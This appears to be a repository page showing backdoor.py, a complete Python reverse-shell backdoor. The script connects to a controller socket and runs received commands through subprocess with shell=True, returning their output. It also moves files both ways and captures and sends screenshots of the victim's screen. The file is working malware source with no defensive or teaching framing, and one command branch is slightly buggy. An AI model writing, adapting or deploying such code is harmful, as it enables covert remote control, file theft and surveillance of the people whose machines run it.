-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackdoor.py
80 lines (61 loc) · 1.81 KB
/
backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import socket
import json
import subprocess
import os
import pyautogui
def reliable_rcv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def dowload_file(filename):
f = open(filename, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def upload_file(filename):
f = open(filename, 'rb')
s.send(f.read())
def screenshot():
sshot = pyautogui.screenshot()
sshot.save('screen.png')
def shell():
while True:
command = reliable_rcv()
if command == "quit":
break
elif command == "help":
pass
elif command[:3] == "cd ":
os.chdir(command[3:])
elif command == "clear":
pass
elif command[:6] == "upload":
dowload_file(command[:7])
elif command[:8] == "download":
upload_file(command[9:])
elif command[:10] == "screenshot":
screenshot()
upload_file('screen.png')
os.remove('screen.png')
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 777))
shell()